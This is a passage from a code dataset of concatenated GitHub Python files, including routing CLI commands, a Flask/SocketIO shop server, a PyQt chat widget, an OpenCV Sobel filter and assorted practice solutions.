prefixes)\n\n\nclass FibAddRoutesCmd(FibAgentCmd):\n def run(self, prefixes, nexthops):\n routes = build_routes(prefixes.split(','), nexthops.split(','))\n\n try:\n self.client.addUnicastRoutes(self.client.client_id, routes)\n except Exception as e:\n print('Failed to add routes.')\n print('Exception: {}'.format(e))\n sys.exit(1)\n\n print('Added {} routes.'.format(len(routes)))\n\n\nclass FibDelRoutesCmd(FibAgentCmd):\n def run(self, prefixes):\n prefixes = [utils.ip_str_to_prefix(p) for p in prefixes.split(',')]\n try:\n self.client.deleteUnicastRoutes(self.client.client_id, prefixes)\n except Exception as e:\n print('Failed to delete routes.')\n print('Exception: {}'.format(e))\n sys.exit(1)\n\n print('Deleted {} routes.'.format(len(prefixes)))\n\n\nclass FibSyncRoutesCmd(FibAgentCmd):\n def run(self, prefixes, nexthops):\n routes = build_routes(prefixes.split(','), nexthops.split(','))\n\n try:\n self.client.syncFib(self.client.client_id, routes)\n except Exception as e:\n print('Failed to sync routes.')\n print('Exception: {}'.format(e))\n sys.exit(1)\n\n print('Reprogrammed FIB with {} routes.'.format(len(routes)))\n\n\nclass FibValidateRoutesCmd(FibAgentCmd):\n def run(self, cli_opts):\n try:\n route_db = self.get_decision_route_db()\n fib_routes = self.client.getRouteTableByClient(self.client.client_id)\n except Exception as e:\n print('Failed to validate Fib routes.')\n print('Exception: {}'.format(e))\n sys.exit(1)\n\n validate(self.get_routes(route_db), fib_routes, ['Decision', 'Fib'],\n cli_opts.enable_color)\n\n def get_decision_route_db(self):\n self.decision_client = decision_client.DecisionClient(\n zmq.Context(),\n \"tcp://[{}]:{}\".format(self.client.host, self.decision_rep_port))\n return self.decision_client.get_route_db()\n\n def get_routes(self, route_db):\n '''\n Find all shortest routes for each prefix in routeDb\n '''\n\n shortest_routes = []\n for route in sorted(route_db.routes):\n if not route.paths:\n continue\n\n min_metric = min(route.paths, key=lambda x: x.metric).metric\n nexthops = []\n for path in route.paths:\n if path.metric == min_metric:\n nexthops.append(path.nextHop)\n nexthops[-1].ifName = path.ifName\n\n shortest_routes.append(ip_types.UnicastRoute(dest=route.prefix,\n nexthops=nexthops))\n\n return shortest_routes\n\n\nclass FibListRoutesLinuxCmd(FibLinuxAgentCmd):\n def run(self, prefixes):\n try:\n routes = self.client.getKernelRouteTable()\n except Exception as e:\n print('Failed to get routes from Fib.')\n print('Exception: {}'.format(e))\n sys.exit(1)\n\n host_id = utils.get_connected_node_name(self.client.host, self.lm_cmd_port)\n caption = '{}\\'s kernel routes'.format(host_id)\n print_routes(caption, routes, prefixes)\n\n\nclass FibValidateRoutesLinuxCmd():\n def run(self, cli_opts):\n try:\n kernel_routes = FibLinuxAgentCmd(cli_opts).client.getKernelRouteTable()\n fib_routes = FibAgentCmd(cli_opts).client.getRouteTableByClient(\n cli_opts.client_id)\n except Exception as e:\n print('Failed to validate Fib routes.')\n print('Exception: {}'.format(e))\n sys.exit(1)\n\n validate(kernel_routes, fib_routes, ['Kernel', 'Fib'], cli_opts.enable_color)\n","repo_name":"tejashri29/openrfork1","sub_path":"openr/py/openr/cli/commands/fib.py","file_name":"fib.py","file_ext":"py","file_size_in_byte":12831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"29990216548","text":"import argparse\nfrom typing import Optional, Dict, Type\n\nfrom cpk.cli import AbstractCLICommand\nfrom cpk.cli.commands.endpoint.info import CLIEndpointInfoCommand\nfrom cpk.types import Machine, Arguments\n\n_supported_subcommands: Dict[str, Type[AbstractCLICommand]] = {\n \"info\": CLIEndpointInfoCommand,\n}\n\n\nclass CLIEndpointCommand(AbstractCLICommand):\n\n KEY = 'endpoint'\n\n @staticmethod\n def parser(parent: Optional[argparse.ArgumentParser] = None,\n args: Optional[Arguments] = None) -> argparse.ArgumentParser:\n # create a temporary parser used to select the subcommand\n parser = argparse.ArgumentParser(parents=[parent], prog='cpk endpoint')\n parser.add_argument(\n 'subcommand',\n choices=_supported_subcommands.keys(),\n help=f\"Subcommand. Can be any of {', '.join(_supported_subcommands.keys())}\"\n )\n parsed, _ = parser.parse_known_args(args)\n # return subcommand's parser\n subcommand = _supported_subcommands[parsed.subcommand]\n return subcommand.parser(parser, args)\n\n @staticmethod\n def execute(machine: Machine, parsed: argparse.Namespace) -> bool:\n subcommand = _supported_subcommands[parsed.subcommand]\n return subcommand.execute(machine, parsed)\n","repo_name":"afdaniele/cpk","sub_path":"include/cpk/cli/commands/endpoint/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"44"} +{"seq_id":"5920960036","text":"n = int(input())\nns = list(map(int, input().split()))\nns.sort()\nsni = 0 # same number index\nfor i in range(len(ns)-1):\n if ns[i] != ns[sni]: sni = i\n if ns[i] + 1 == ns[i+1]:\n si = 0 # swap index\n for j in range(i+1, len(ns)):\n if ns[j] != ns[i+1]:\n si = j\n break\n if not si: \n si = sni\n sni +=1\n ns[i+1], ns[si] = ns[si], ns[i+1]\nprint(*ns)","repo_name":"kkilme/Baekjun","sub_path":"python/Platinum/P5 1071.py","file_name":"P5 1071.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"30416011357","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nМодуль содержит в себе middleware методы\n\"\"\"\n\n# built-in\nfrom datetime import datetime\n\nimport asyncio\nimport pymongo\nfrom bs4 import BeautifulSoup\nfrom aiohttp import ClientSession\nfrom motor.motor_asyncio import AsyncIOMotorClient\n\n# service\nimport const\nimport scheduler\n\n\n\nasync def update_news():\n \"\"\"\n Данный метод вставляет в\n базу новости которых там еще нет\n \"\"\"\n\n posts = await news()\n\n # Получаем id крайнего элемента в коллекции,\n # для его корректной итерации для новых записей\n current_db = AsyncIOMotorClient(const.MONGO_URL).appfollow\n lost_document = await current_db.news.find_one({}, sort=[('_id', pymongo.DESCENDING)])\n lost_id = 1\n if lost_document:\n lost_id = lost_document.get(\"id\", 1)\n\n # Вставлять записи будем по одной,\n # т.к. на коллекции стоит ограничивающий индекс\n for pos, item in enumerate(posts):\n item[\"id\"] = pos + lost_id\n try:\n await current_db.news.insert_one(item)\n except pymongo.errors.DuplicateKeyError:\n continue\n\n\nasync def news():\n \"\"\"\n Метод получает указанную страницу новостей,\n вытягивает из нее новости со ссылками\n и отправляет на запись в БД полученные новости\n \"\"\"\n async with ClientSession(headers={'User-Agent': const.USER_AGENT}) as session:\n async with session.get(const.MAIN_URL) as response:\n content = await response.content.read()\n\n soup = BeautifulSoup(content, \"lxml\")\n table = soup.find(\"table\")\n\n posts = []\n for row in table.findAll(\"a\", {\"class\": \"storylink\"}, href=True):\n posts.append({\n \"url\": row.get(\"href\"),\n \"title\": row.get_text(),\n \"created\": datetime.now().replace(microsecond=0).isoformat()\n })\n\n return posts\n\n\n@scheduler.run(const.BACKGROUND_TASK_INTERVAL)\nasync def autoupdate_news():\n await update_news()\n\n\nasync def start_background_tasks(app):\n \"\"\"\n Middleware task.\n Метод инициализирует все необходимые\n для сервиса соединения и задачи\n \"\"\"\n app[\"mongodb_instance\"] = AsyncIOMotorClient(const.MONGO_URL)\n app[\"db\"] = app[\"mongodb_instance\"].appfollow\n app[\"db\"].news.create_index(\n [(\"url\", pymongo.DESCENDING), (\"title\", pymongo.DESCENDING)],\n unique=True)\n app[\"periodic_task\"] = asyncio.create_task(autoupdate_news())\n\n\nasync def cleanup_background_tasks(app):\n \"\"\"\n Graceful shutdown\n \"\"\"\n print(\"cleanup background tasks...\")\n\n # gracefully closing underlying connection\n app[\"mongodb_instance\"].close()\n app[\"periodic_task\"].cancel()\n","repo_name":"alexeydevil/test_tast_appfollow","sub_path":"service/background_task.py","file_name":"background_task.py","file_ext":"py","file_size_in_byte":3010,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"9308665247","text":"class Solution:\n def findMaxAverage(self, nums: List[int], k: int) -> float:\n windowsm=sum(nums[:k])\n maxav=windowsm/k\n for i in range(len(nums)-k):\n windowsm=windowsm-nums[i]+nums[i+k]\n av=windowsm/k\n maxav=av if av>maxav else maxav\n return maxav\n ","repo_name":"YosefAyele/YosefAyele","sub_path":"643-maximum-average-subarray-i/643-maximum-average-subarray-i.py","file_name":"643-maximum-average-subarray-i.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"4571715216","text":"correct = int(input())\nfriend = input()\nyours = input()\n\nsame = 0\ndifferent =0\n\nfor i in range(len(friend)):\n if friend[i] == yours[i]:\n same+=+1\n else:\n different+=1\n\nif same >= correct:\n print(correct + different)\n\nelif same < correct:\n print(same+(len(friend)-correct))\n\n\n\n\n\n","repo_name":"isabellaattisano/programming-team","sub_path":"Python/exam.py","file_name":"exam.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"29742389626","text":"# -*- coding:utf-8 -*-\n\"\"\"\nCreated on 18/6/28 下午3:17.\n\nAuthor: Ruizhang1993 (zhang1rui4@foxmail.com)\n\"\"\"\n\nimport requests\n\ntype = 3 # 1:{正面/负面} 3:{其他/愤怒/快乐/失落/焦虑/难过/害怕}\ntext = \"物流也很快服务也很好\"\n\nurl_ = 'http://ai-api.jd.com/nlp/sentiment?token=35f48390-b7f7-4e2f-b823-87e99b74a86f&type='+str(type)+'&text='+text\nr = requests.get(url_)\nprint(r.text)\n","repo_name":"Dr-Corgi/Neuhub-Test","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"44"} +{"seq_id":"13484088629","text":"from flask import Flask, render_template, request, redirect, url_for, json, jsonify, make_response, send_file, send_from_directory\nfrom customer import customer\nfrom seller import seller\nfrom admin import admin\nfrom flask_socketio import SocketIO, emit, send, join_room, leave_room\nfrom bson import json_util\nimport pymongo\nimport json\nimport myModule\nimport os\napp = Flask(__name__)\napp.config['SECRET_KEY'] = os.urandom(24)\napp.register_blueprint(customer)\napp.register_blueprint(seller)\napp.register_blueprint(admin)\napp.debug = True\nsocketio = SocketIO(app)\nuser_chat = {}\nuser_list = []\n\n\n@app.route('/')\ndef welcome():\n token = request.cookies.get('token')\n if myModule.deJWT(token):\n user = myModule.getUserFromJWT(token)\n if user['privilege'] == 0:\n resp = make_response(redirect(url_for('welAdmin')))\n elif user['privilege'] == 1:\n resp = make_response(redirect(url_for('welCustomer')))\n elif user['privilege'] == 2:\n resp = make_response(redirect(url_for('welSeller')))\n else:\n return 'Bad Request', 400\n return resp\n return send_file(\"./html/index.html\")\n\n\n@app.route('/login')\ndef log():\n return send_file(\"./html/logIn.html\")\n\n\n@app.route('/signin')\ndef sign():\n return send_file(\"./html/signIn.html\")\n\n\n@app.route('/api/admin')\ndef welAdmin():\n token = request.cookies.get('token')\n if not myModule.deJWT(token):\n return redirect(\"/\")\n user = myModule.getUserFromJWT(token)\n if user['privilege'] != 0:\n return '请重新登录', 400\n return send_file('./html/admin.html')\n\n\n@app.route('/api/seller')\ndef welSeller():\n token = request.cookies.get('token')\n if not myModule.deJWT(token):\n return redirect(\"/\")\n user = myModule.getUserFromJWT(token)\n if user['privilege'] != 2:\n return '请重新登录', 400\n return send_file('./html/seller.html')\n\n\n@app.route('/api/customer')\ndef welCustomer():\n token = request.cookies.get('token')\n if not myModule.deJWT(token):\n return redirect(\"/\")\n user = myModule.getUserFromJWT(token)\n if user['privilege'] != 1:\n return '请重新登录', 400\n return send_file('./html/Mall.html')\n\n\n@app.route('/api/signToDb', methods=['GET', 'POST'])\ndef signToDb():\n if request.method == 'POST':\n msg = json.loads(request.get_data().decode('utf-8'))\n if msg['privilege'] == 0:\n return 'Bad Request', 400\n flag = myModule.anaSign(msg)\n if flag == 0:\n token = request.cookies.get('token')\n if type(token) == str:\n user = myModule.getUserFromJWT(token)\n if user['privilege'] == 0:\n myModule.addUser(msg)\n return 'OK', 200\n myModule.addUser(msg)\n JWT = myModule.encodeJWT(msg)\n if msg['privilege'] == 1:\n resp = make_response(redirect(url_for('welCustomer')))\n elif msg['privilege'] == 2:\n resp = make_response(redirect(url_for('welSeller')))\n resp.set_cookie(\"token\", JWT, httponly=True, max_age=86400)\n return resp\n elif flag == 1:\n return '用户名已存在', 400\n elif flag == 2:\n return '邮箱已被注册', 400\n else:\n return 'Bad Request', 400\n\n\n@app.route('/api/logToMall', methods=['GET', 'POST'])\ndef logToMall():\n if request.method == 'POST':\n msg = json.loads(request.get_data().decode('utf-8'))\n ana = myModule.anaLog(msg)\n if ana['flag']:\n if ana['privilege'] == 0:\n resp = make_response(redirect(url_for('welAdmin')))\n elif ana['privilege'] == 1:\n resp = make_response(redirect(url_for('welCustomer')))\n elif ana['privilege'] == 2:\n resp = make_response(redirect(url_for('welSeller')))\n else:\n return 'Bad Request', 400\n JWT = myModule.encodeJWT(ana)\n resp.set_cookie(\"token\", JWT, httponly=True, max_age=86400)\n return resp\n else:\n return '账号或密码错误', 400\n\n\n@app.route('/api/logout')\ndef logout():\n resp = make_response(redirect('/'))\n resp.delete_cookie('token')\n return resp\n\n\n@app.errorhandler(404)\ndef page_not_found(error):\n return '404'\n\n\n@app.route('/api/online')\ndef test_chat():\n token = request.cookies.get('token')\n if not myModule.deJWT(token):\n return '请重新登录', 400\n return str(user_list)\n\n\n@app.route('/api/record', methods=['GET', 'POST'])\ndef findRecord():\n if request.method == 'POST':\n token = request.cookies.get('token')\n if not myModule.deJWT(token):\n return '请重新登录', 400\n user = myModule.getUserFromJWT(token)\n target = request.get_data().decode('utf-8')\n record = myModule.findRecord(user['user'], target)\n return jsonify({'msg': json.loads(record)}), 200\n return 'Bad Request', 400\n\n\n@socketio.on('connect', namespace='/api/chat')\ndef test_connect():\n token = request.cookies.get('token')\n if not myModule.deJWT(token):\n emit('error', '请重新登录')\n else:\n user = myModule.getUserFromJWT(token)\n user_chat[user['user']] = request.sid\n user_list.append(user['user'])\n records = myModule.getRecord(user)\n emit('my response', records)\n\n\n@socketio.on('disconnect', namespace='/api/chat')\ndef test_disconnect():\n token = request.cookies.get('token')\n user = myModule.getUserFromJWT(token)\n user_chat.pop(user['user'])\n user_list.remove(user['user'])\n\n\n@socketio.on('msg', namespace='/api/chat')\ndef sent_msg(data):\n token = request.cookies.get('token')\n if not myModule.deJWT(token):\n emit('error', '请重新登录', room=request.sid)\n return 0\n else:\n get = 0\n user = myModule.getUserFromJWT(token)\n data['from'] = user['user']\n target = user_chat.get(data['to'])\n if target != None:\n get = 1\n myModule.insertRecord(data, get)\n data.pop('_id')\n emit('recvMsg', json.dumps(\n data, default=json_util.default), room=target)\n else:\n myModule.insertRecord(data, get)\n data.pop('_id')\n return json.dumps(data, default=json_util.default)\n\n\n# ,host='0.0.0.0'\nif __name__ == '__main__':\n socketio.run(app, port=8888)\n","repo_name":"wangnengjie/assignment","sub_path":"shoppingMall/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":6475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"37403595702","text":"import numpy as np\r\nimport cv2\r\n\r\nimg = cv2.imread('C://cv_learn/desk.jpg',1)\r\n\r\nimg = cv2.resize(img, (600,400),cv2.INTER_CUBIC)\r\n\r\n#convert image to grey scale\r\nimg = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n\r\n#sobel operator\r\n#define kernels\r\nkernel_x = np.array([[-1,0,1],[-2,0,2],[-1,0,1]])\r\nkernel_y = np.array([[1,2,1],[0,0,0],[-1,-2,-1]])\r\n#convolution func\r\ndef conv(img, kernel_x,kernel_y):\r\n row,col = img.shape[:2]\r\n result_x = np.empty(((1,0)))\r\n result_y = np.empty(((1,0)))\r\n for r in range(0,row-2):\r\n for c in range(0,col-2):\r\n window = img[r:r+3,c:c+3]\r\n temp_x = np.multiply(kernel_x,window)\r\n temp_y = np.multiply(kernel_y,window)\r\n temp_x = np.array([[temp_x.sum()]])\r\n temp_y = np.array([[temp_y.sum()]])\r\n result_x = np.append(result_x,temp_x,1)\r\n result_y = np.append(result_y,temp_y,1)\r\n print(r)\r\n return (result_x,result_y)\r\n\r\n#padding added\r\nimg = cv2.copyMakeBorder(img,1,1,1,1,cv2.BORDER_CONSTANT,value=255)\r\n#convolution\r\n# conv_x = conv(img, kernel_x)\r\n# img_conv_x = conv_x.reshape(400,600)\r\n# conv_y = conv(img, kernel_y)\r\n# img_conv_y = conv_y.reshape(400,600)\r\n\r\nconv_x,conv_y = conv(img,kernel_x,kernel_y)\r\nimg_conv_x = np.abs(conv_x.reshape(400,600))\r\nimg_conv_y = np.abs(conv_y.reshape(400,600))\r\n\r\nIMG = (np.abs(conv_x) + np.abs(conv_y)).reshape((400,600))\r\n\r\n\r\ncv2.imshow('image1',img_conv_x)\r\n#show \r\ncv2.imshow('image2',img_conv_y)\r\ncv2.imshow('image3',IMG)\r\ncv2.imshow('image', img)\r\n\r\nk = cv2.waitKey(0)\r\nif k == 27:\r\n cv2.destroyAllWindows()\r\nelif k == ord('s'):\r\n cv2.imwrite('C://cv_learn/sobel_x.png',img_conv_x)\r\n cv2.imwrite('C://cv_learn/sobel_y.png',img_conv_y)\r\n cv2.imwrite('C://cv_learn/sobel.png',IMG)\r\n cv2.destroyAllWindows()\r\n\r\n","repo_name":"tzmhuang/cv_learn","sub_path":"2/cv_2.py","file_name":"cv_2.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"23259204486","text":"# def deletList(self):\n# currentNode = self.head\n# print(currentNode.next)\n# while currentNode.next is not None:\n# pre = currentNode\n# currentNode = currentNode.next\n# pre.next = None\n# del currentNode\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n def __init__(self):\n self.head = None\n\n def insert(self, newNode):\n if self.head is None:\n self.head = newNode\n\n else:\n lastNode = self.head\n while True:\n if lastNode.next is None:\n lastNode.next = newNode\n break\n lastNode = lastNode.next\n\n def listLength(self):\n currentNode = self.head\n length = 0\n while True:\n length += 1\n if currentNode.next is None:\n return length\n currentNode = currentNode.next\n\n def insertAt(self, newNode, posion):\n if posion < 0 or self.listLength() < posion:\n print(\"Operation will work\")\n return\n if posion == 0:\n temp = self.head\n self.head = newNode\n newNode.next = temp\n del temp\n return\n currentNode = self.head\n currentPos = 0\n while True:\n if currentPos == posion:\n pre.next = newNode\n newNode.next = currentNode\n return\n pre = currentNode\n currentNode = currentNode.next\n currentPos = currentPos + 1\n\n def deletList(self):\n currentNode = self.head\n print(currentNode.next)\n while currentNode.next is not None:\n pre = currentNode\n currentNode = currentNode.next\n pre.next = None\n del currentNode\n\n def deletAt(self, posison):\n firstNode = self.head\n currentPos = 0\n while True:\n if currentPos is posison:\n pre.next = firstNode.next\n firstNode.next = None\n break\n pre = firstNode\n firstNode = firstNode.next\n currentPos += 1\n\n def printList(self):\n currentNode = self.head\n while True:\n print(currentNode.data)\n print(currentNode.next)\n if currentNode.next is None:\n break\n currentNode = currentNode.next\n\n\nfirstNo = Node(1)\nlinkedlist = LinkedList()\nlinkedlist.insert(firstNo)\nsecNo = Node(11)\nlinkedlist.insert(secNo)\nfirstN1o = Node(12)\nfirstNo1 = Node(13)\ntheNo = Node(23)\nlinkedlist.insertAt(theNo, 10)\n\nlinkedlist.insert(firstN1o)\nlinkedlist.insert(firstNo1)\nlinkedlist.deletList()\nlinkedlist.deletAt(1)\nlinkedlist.printList()\nx = linkedlist.listLength()\nprint(x)\n","repo_name":"Nitesh639/LeetCode","sub_path":"LinkedList/singlyLinkedList/delet_linked.py","file_name":"delet_linked.py","file_ext":"py","file_size_in_byte":2810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"74543650373","text":"from django.urls import path, include\nfrom . import views\nfrom rest_framework import renderers\nfrom rest_framework.routers import DefaultRouter\n\nfrom .views import CreateUserAPIView, LogoutUserAPIView\n\n# Create a router and register our viewsets with it.\nrouter = DefaultRouter()\n\nrouter.register(r'kitties', views.KittyViewSet)\nrouter.register(r'profiles', views.ProfileViewSet)\nrouter.register(r'users', views.UserViewSet)\nrouter.register(r'contacts', views.ContactViewSet)\nrouter.register(r'transactions', views.TransactionViewSet)\nrouter.register(r'user-events', views.UserEventViewSet)\nrouter.register(r'users-active', views.ActiveUsersViewSet)\n\n# The API URLs are now determined automatically by the router.\nurlpatterns = [\n path('', include(router.urls)),\n path('login/', views.LoginAPI.as_view()),\n path('register/', CreateUserAPIView.as_view()),\n path('logout/', LogoutUserAPIView.as_view()),\n]\n","repo_name":"jells123/XX-Payments","sub_path":"backend/kitty/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"13418477012","text":"'''\nGiven a 32-bit signed integer, reverse digits of an integer.\n\nExample 1:\n\nInput: 123\nOutput: 321\nExample 2:\n\nInput: -123\nOutput: -321\nExample 3:\n\nInput: 120\nOutput: 21\nNote:\nAssume we are dealing with an environment which could only store integers \nwithin the 32-bit signed integer range: [−231, 231 − 1]. For the purpose \nof this problem, assume that your function returns 0 when the reversed \ninteger overflows.\n'''\n\nclass Solution:\n def reverse(self, x):\n #Second Attempt - Faster\n if x < 0:\n y = -1 * int(str(-x)[::-1])\n else:\n y = int(str(x)[::-1])\n if y > 2**31 -1 or y < -2**31:\n y = 0\n return y\n\n ''' \n First try - Correct\n if x < 0:\n negative = True\n else:\n negative = False\n str_num = str(x)\n output = ''\n if negative:\n for i in range(len(str_num)-1, 0, -1):\n output += str_num[i] \n else:\n for i in range(len(str_num)-1, -1, -1):\n output += str_num[i] \n\n output = int(output)\n if negative: output = -output\n if output > 2**31 - 1 or output < -2**31:\n return 0\n else:\n return output\n '''\n\nsol = Solution()\n\ninput_num = -123\nprint(f'Input: {input_num}')\nprint(f'Output: {sol.reverse(input_num)}')\n \n","repo_name":"seeyarh/interview-prep","sub_path":"leetcode/ReverseInteger.py","file_name":"ReverseInteger.py","file_ext":"py","file_size_in_byte":1401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"18443162897","text":"# -*- coding: utf-8 -*-\n\"\"\"\nModule which implements Chat area implemented as a QtabWidget.\n\"\"\"\nimport datetime\nfrom queue import Queue\n\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\n\nfrom NCryptoTools.tools.utilities import get_formatted_date\nfrom NCryptoTools.jim.jim_constants import JIMMsgType\nfrom NCryptoTools.jim.jim_core import JIMMessage\n\nfrom NCryptoClient.utils.constants import BOLD_IMG_PATH, ITALIC_IMG_PATH, UNDERLINED_IMG_PATH\n\n\nclass UiChat(QTabWidget):\n \"\"\"\n Widget-class which has a set of tabs, each of which is a separate chat.\n \"\"\"\n def __init__(self, parent=None):\n \"\"\"\n Constructor. Initializes chat, creating an empty window without tabs.\n @param parent: parent window.\n \"\"\"\n super().__init__(parent)\n self.parent = parent\n self.setGeometry(328, 64, 664, 816)\n self.setObjectName('chat_tw')\n self.setTabsClosable(True)\n self.tabCloseRequested.connect(self.close_chat_tab)\n self.show()\n\n def add_chat_tab(self, chat_name):\n \"\"\"\n Adds tab in the chat widget.\n @param chat_name: chat name.\n @return: -\n \"\"\"\n tabs_amount = self.count()\n\n # if there is no tabs, chat widget can possibly be in a closed state,\n # so we should open it first\n if self.count() == 0:\n self.show()\n chat_widget = UiChatTab(chat_name, self)\n self.addTab(chat_widget, chat_name)\n self.setCurrentIndex(0)\n chat_widget.show()\n\n # if chat widget already has some tabs, we check that the tab with\n # needed name is not there\n else:\n index = self.find_tab(chat_name)\n if index is None:\n chat_widget = UiChatTab(chat_name, self)\n self.addTab(chat_widget, chat_name)\n self.setCurrentIndex(tabs_amount)\n chat_widget.show()\n\n # if tab already exists, we switch the current selection to it\n else:\n self.setCurrentIndex(index)\n\n def close_chat_tab_by_name(self, tab_name):\n \"\"\"\n Deletes tab by its name.\n @param tab_name: tab name (chat name).\n @return: -\n \"\"\"\n index = self.find_tab(tab_name)\n self.close_chat_tab(index)\n\n def close_chat_tab(self, index):\n \"\"\"\n Deletes tab by its index.\n @param index: tab index.\n @return: -\n \"\"\"\n if index is not None:\n self.removeTab(index)\n\n # if user has closed the last tab - shows the inscription\n if self.count() == 0:\n self.hide()\n self.parent.select_chat_st.show()\n\n def find_tab(self, tab_name):\n \"\"\"\n Tries to to find the tab with needed name.\n @param tab_name: tab name (chat name).\n @return: tab index.\n \"\"\"\n # Handles one-tab case separately, because range() will give us an error\n tabs_amount = self.count()\n if tabs_amount == 1:\n if self.widget(0).tab_name == tab_name:\n return 0\n return None\n\n for i in range(0, tabs_amount):\n if self.widget(i).tab_name == tab_name:\n return i\n return None\n\n def add_tab_data(self, tab_index, time, message):\n \"\"\"\n Adds new message (data) to the needed tab. This function is used\n when needs to load messages from history.\n @param tab_index: tab index.\n @param time: time/sender string.\n @param message: new message.\n @return: -\n \"\"\"\n self.widget(tab_index).add_data(time, message)\n\n def add_tab_data_from_buffer(self, tab_index):\n \"\"\"\n Adds new message (data) to the needed tab from the tab's internal\n buffer. This function is used when the current user sends messages.\n @param tab_index: tab index.\n @return: -\n \"\"\"\n self.widget(tab_index).add_data_from_buffer()\n\n def remove_tab_data(self, tab_index, data):\n \"\"\"\n Deletes row from the needed searching it by data.\n @param tab_index: tab index.\n @param data: data to be searched.\n @return: -\n \"\"\"\n tab = self.widget(tab_index)\n row = tab.find_row(data)\n tab.remove_data(row)\n\n\nclass UiChatTab(QWidget):\n \"\"\"\n Since we use a set of widgets placing them on each tab,\n we need a custom widget to group them. This class groups\n tab widgets in oneself.\n \"\"\"\n def __init__(self, tab_name, parent=None):\n super().__init__(parent)\n self.parent = parent\n self._message_queue = Queue(30)\n self.tab_name = tab_name\n\n # Chat window (messages display)\n self._chat_lb = QListWidget(self)\n self._chat_lb.setGeometry(QRect(8, 8, 640, 640))\n self._chat_lb.setResizeMode(QListView.Adjust)\n self._chat_lb.setObjectName(tab_name + '_contacts_lb')\n\n # Message input box\n self._msg_te = QTextEdit(self)\n self._msg_te.setGeometry(QRect(8, 656, 544, 120))\n # self._msg_te.setMaxLength(128)\n # self._msg_te.setAlignment(Qt.AlignLeft)\n self._msg_te.setObjectName(tab_name + '_msg_te')\n\n self._font = QFont()\n self._msg_te.setFont(self._font)\n\n self._buttons = []\n self._add_bitmap_button(BOLD_IMG_PATH,\n QRect(560, 656, 24, 24), 'bold_pb', self.set_bold)\n self._add_bitmap_button(ITALIC_IMG_PATH,\n QRect(592, 656, 24, 24), 'italic_pb', self.set_italic)\n self._add_bitmap_button(UNDERLINED_IMG_PATH,\n QRect(624, 656, 24, 24), 'underlined_pb', self.set_underlined)\n self._add_bitmap_button(UNDERLINED_IMG_PATH,\n QRect(560, 688, 24, 24), 'smile_emoji_pb', self.set_underlined)\n self._add_bitmap_button(UNDERLINED_IMG_PATH,\n QRect(592, 688, 24, 24), 'sad_emoji_pb', self.set_underlined)\n self._add_bitmap_button(UNDERLINED_IMG_PATH,\n QRect(624, 688, 24, 24), '3_emoji_pb', self.set_underlined)\n self._add_bitmap_button(UNDERLINED_IMG_PATH,\n QRect(560, 720, 24, 24), '4_emoji_pb', self.set_underlined)\n self._add_bitmap_button(UNDERLINED_IMG_PATH,\n QRect(592, 720, 24, 24), '5_emoji_pb', self.set_underlined)\n self._add_bitmap_button(UNDERLINED_IMG_PATH,\n QRect(624, 720, 24, 24), '6_emoji_pb', self.set_underlined)\n\n # \"Send\" button\n self._send_pb = QPushButton(self)\n self._send_pb.setText('Send')\n self._send_pb.setGeometry(QRect(560, 752, 88, 24))\n self._send_pb.setObjectName(tab_name + '_send_pb')\n\n self._send_pb.clicked.connect(self._send_msg)\n\n def _add_bitmap_button(self, bitmap, geometry, object_name, action):\n button = QPushButton(self)\n button.setGeometry(geometry)\n button.setObjectName(object_name)\n button.setIcon(QIcon(bitmap))\n button.clicked.connect(action)\n self._buttons.append(button)\n\n # button.setIcon()\n\n def _send_msg(self):\n \"\"\"\n Sends message to the server when \"Send\" button is being pressed.\n @return: -\n \"\"\"\n msg_text = self._msg_te.toPlainText()\n\n if self._font.bold():\n msg_text = '{}'.format(msg_text)\n if self._font.italic():\n msg_text = '{}'.format(msg_text)\n if self._font.underline():\n msg_text = '{}'.format(msg_text)\n\n login = self.parent.parent.get_login()\n current_time = datetime.datetime.now().timestamp()\n if self.tab_name.startswith('#'):\n msg = JIMMessage(JIMMsgType.CTS_CHAT_MSG, **{'action': 'msg', 'time': current_time,\n 'to': self.tab_name, 'from': login,\n 'message': msg_text})\n else:\n msg = JIMMessage(JIMMsgType.CTS_PERSONAL_MSG, **{'action': 'msg', 'time': current_time,\n 'to': self.tab_name, 'from': login,\n 'encoding': 'utf-8', 'message': msg_text})\n\n self.parent.parent.msg_handler.write_output_bytes(msg.serialize())\n\n time = '[{}] @{}> '.format(get_formatted_date(current_time), login)\n self._message_queue.put((time, msg_text))\n\n def set_bold(self):\n self._font.setBold(not self._font.bold())\n self._msg_te.setFont(self._font)\n\n def set_italic(self):\n self._font.setItalic(not self._font.italic())\n self._msg_te.setFont(self._font)\n\n def set_underlined(self):\n self._font.setUnderline(not self._font.underline())\n self._msg_te.setFont(self._font)\n\n def 